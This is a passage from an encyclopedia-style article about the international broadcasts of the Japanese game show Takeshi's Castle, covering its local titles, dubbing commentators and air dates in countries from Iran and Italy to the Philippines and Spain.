It was aired by the name Masir-e Talaa'ee (Persian: مسیر طلایی) (when translated it means "Golden Path"), on Iran's Channel 3 in 2009 and 2010. It was hosted by Morteza and Mostafa Hosseini, the brothers of the refugee host Mohammad Hosseini.

Italy

Renamed Mai dire Banzai (Never Say: Banzai!) it first aired in 1989 on Italia 1. A reedited version interspersed with clips of another Japanese gameshow called Za Gaman, it was given a comedic voiceover by Gialappa's Band, who changed Kitano's and Saburo Ishikura's names to Gennaro Olivieri and Guido Pancaldi, historically Swiss Italian judges in Games Without Frontiers. They also renamed in absurdist comical ways the other figures of the show like calling the in-game reporter 'Pokoto Pokoto', the huge-headed fake Takeshi being called 'Mashiro Tamigi', the martially-attire'd host 'General Putzerstofen' and so on. Gialappa's Band making fun of the duty-bound, stoic stereotype of Japan, described the games and tasks as traditional Japanese past-times and thus rather mundane and humdrum by Japanese standards, introducing a veil of non-sequitur to the show which is lacking in English language versions.

The show gained new popularity in the 2000s, when it started being broadcast on various satellite and terrestrial channels with the original title and using the half-hour episodes of the UK shortened version, with independent voiceover (superimposed to the still audible Japanese track) done by various Italian comedians. As of 2008, this version is broadcast on GXT with the voiceover done by Trio Medusa (previously the show was commentated on by Marco Marzocca with Stefano Sarcinelli and still before by duo Lillo & Greg); shortly after it was re-aired by local broadcasters and by K2. From 10 January 2011, the series is re-transmitted in Italy on Cartoon Network and the voiceover is done by Roberto Stocchi and Francesca Draghetti.

Lithuania

The show was aired by the name Takeši pilis, featuring Fumito Tomoi (a Japanese person living in Lithuania at the time), who dubbed the show in a comic way with his broken Lithuanian. The show was very popular.

Malaysia

The Japanese version was aired over NTV7 in early 2000s, although edited to be shortened to half an hour. The broadcast was added with Malay overdub commentary (the original Japanese audio track is still audible in background). Sometimes in earlier versions, the parts that were not overdubbed are subtitled in Malay. The show was known as Istana Takeshi in Malaysia.

As of June 2010, the show is airing again using the American version with Malay subtitles on TV9 but still called Istana Takeshi instead of MXC, but as 2024 TV3 airing American version with Malay subtitles on 5.30pm Malaysia time.

On 7 March 2026, this show will airing for this programme with Malay subtitles on Astro Ria but still called Istana Takeshi instead of MXC or Most Extreme Elimination Challenge for double episodes back to back on Saturday at 6:00 pm – 7:00 pm.

Mexico

The Japanese version on Azteca 13 of TV Azteca in 1993 and Azteca 7 of TV Azteca was aired in Mexico, which, like the Spanish, has its own stories and invented by giving voices teams.

Due to the success of the American edits of Banzuke and Ninja Warrior/Sasuke on Azteca 7, on 4 May 2015, the program was broadcast by Canal 5 of Televisa, under the name Castillo Takeshi and narrated by two presenters from Televisa using the British edit as basis for their own edit. Possibly due to the upscaling from PAL to HD, it had a poor quality image, making it look even older than it was. It took the time slot where ABC's Wipeout had been broadcast since 2014. After just three weeks, the show was replaced by ABC's Wipeout, which has had a longer more successful run on Mexican TV.

Netherlands

The British cut of the show aired on 15 August 2009, on Comedy Central, with Dutch voice-over provided by sports commentator Ronald van Dam and actor/comedian Ruben van der Meer.

Takeshi's Castle Thailand in its UK format commenced airing on 22 March 2018, with commentary by actress/singer Katja Schuurman and vocalist Pepijn Lanen.[17]

Philippines

It was first shown on IBC in 1990 as a Filipino-dubbed show. Later episodes contained interludes shot on a studio with actors Anjo Yllana as Takesh and Smokey Manoloto as "Iwakura" providing the commentary with a gravelly Japanese accent, which was later dropped in favor of their natural voices. The Filipino production crew also developed on their relationship, with Iwakura often trying to trick Takeshi on several occasions. One episode which resulted in the contestants' victory was even written as Takeshi's worst nightmare; when Iwakura finally wakes him up, Takeshi is so traumatized that he asks to call off a scheduled taping. Makers of the malt drink brand Ovaltine created an in-show mini contest as part of a product endorsement deal in 1991. In this version, the names given to most of the challenges are translated from their original Japanese such as "Devil's Maze" for the Honeycomb and Square Mazes, "Flying Mushroom" for Mushroom Trip, and "Sumo Wrestling" for Sumo Rings.

The IBC episodes of Takeshi's Castle were later rerun on SBN during 1993 and 1994. The show was not edited as before at IBC.

Takeshi's Castle enjoyed a revival in the Philippines on 2 October 2006. This time around, comedians Joey de Leon and Ryan Yllana (Anjo's younger brother) provide the commentary as fictional characters shogun Shintaro "Taru" Gokoyami who is Takeshi's right-hand man and sumo wrestler Kakawate Takehome, the leader of the Takeshi Gundan, fictional in the sense that there are no such characters in the original cast. Initially, the two provide play-by-play commentary, but they as well as some added characters reduced themselves to skits and commentary in between clips of the show. Later, as part of Q's first anniversary, Anjo finally appeared alongside the new cast, reprising his role as "prince" Takeshi.

Due to Takeshi's Castle's competitive ratings, the management of GMA Network decided to move the show from QTV in an evening slot, now to the early afternoon weekend slot of GMA. Takeshi's Castle was aired on a weekly basis as opposed to the weekdays airing on Q, and was aired before Eat Bulaga on Saturdays and before SOP on Sundays. This was done to increase and improve the ratings of the succeeding shows. Takeshi's Castle started to air on GMA on 23 December 2006, with same hosts. The show aired its last episode on 9 May 2007, and after a long break of TV experience, Joey and Ryan assumed new personalities as Master GT (later Tirso Potter) and Captain B respectively. It was temporarily replaced by Just Joking which starred also Joey De Leon and Ryan Yllana and other casts. On 13 August 2007, Takeshi's Castle returned on air once again with all new episodes and Mike "Pekto" Nacua (Cookie), John Feir (Belli) and Love Añover (replacement when either Cookie or Belli was not in) become commentators. The show aired at Saturdays 11:30 a.m. before Eat Bulaga!, and Sundays 11:15 a.m. before SOP Rules.

On GMA's regional networks, a Cebuano-dubbed show aired on GMA Cebu and Davao from Saturdays and Sundays in the morning titled Takeshi's Castle Wala Gyud sa Isaysay Banzai! (Never Say Banzai!).

Portugal

A version called Nunca Digas Banzai (Portuguese for "Never Say Banzai", based on the Italian name for it, Mai Dire Banzai) aired on SIC starting in 1994, where it reached some popularity. Voiceovers were provided by two hosts, José Carlos Malato and João Carlos Vaz. Takeshi and Ishikura were renamed "Fujimoto" and "Fujicarro" (a play on the Portuguese words for "[motor]bike" and "car" using the Japanese word Fuji), and the Portuguese hosts made no attempt to interpret the reality of the show, instead using the contestants as surrogates for the satirical comments about Portuguese public figures, in a similar style to MXC.

Russia

The series were featured in Ren TV project show The Best Shows of the World (Лучшие шоу мира) in the early 2000s and due to positive public reaction were aired on the regular basis on its own, named Takeshi Kitano's Castle (Замок Такеши Китано). Show was translated and aired on 2x2 channel as "Japanese amusements" (Японские забавы) during 2011–2012 and again in 2013 and 2014. The format of the show is the translated commentary version of UK adaptation.

Secondly, in 2020 – show Gold of Gelendzhik (Золото Геленджика) aired on ТНТ channel, based on Takeshi Kitano's Castle format. The action of this show takes place in the resort town of Gelendzhik in the Krasnodar Territory on the Black Sea coast. The rules of the game and challenges are similar to the original Japanese show, but with some changes, in particular, the Final Challenge was borrowed from another Japanese show in which participants need to climb slippery stairs and take the prize.

Serbia

Show started with showing on FOX TV in January 2010 named Takeši.

Singapore

The show debuted in 1993 on Singapore's free-to-air channel, Channel 8. This show started in 2025 on Mediacorp Suria

Slovakia

During 2011 and 2012, it was Takešiho hrad broadcast on channel Joj Plus with a single-voice Slovak commentary.

South Africa

The show was broadcast daily on the Sony MAX channel, Channel 128 on DStv. It was the condensed version of the original series with commentary provided by Craig Charles. It began broadcasting in 2009 and was a huge hit with viewers. Due to its popularity the show has been aired to a broader audience on SABC 2.

Spain

The program aired in the 1990s as Humor amarillo (when translated it means "Yellow Humour" or "Yellow Comedy") on TV channel Telecinco. Comedians Juan Herrera and Miguel Ángel Coll (son of José Luis Coll) commented on the images; this version of the show has achieved cult status and there are some fansites and web petitions for returns. In fact, the Spanish version created some terms now familiar to either Takeshi's Castle or Humor amarillo, like "El Laberinto del Chinotauro" (literally The Chinesetaur Labyrinth, name for any of the maze challenges), "Los Cañones de Nakasone" (parody of "Guns of Navarone" Spanish title), "Las Zamburguesas" (for Skipping Stones),"Gacela Thompson" ("Thompson Gazelle"), a pathetic businessman character, and "Chino Cudeiro" (the Chinese Cudeiro, as the name started to be assigned when appeared a player with a red T-shirt with the inscription "Cudeiro, Galicia, España"[18]), the name assigned to a random player that always "dies", one of the most popular characters in Spain.

On 28 January 2006, a second version dubbed by Fernando Costilla and Paco Bravo premiered on Spanish TV channel [Cuatro](https://en.wikipedia.org/wiki/Cuatro_%28TV_channel%29 "Cuatro (TV channel)".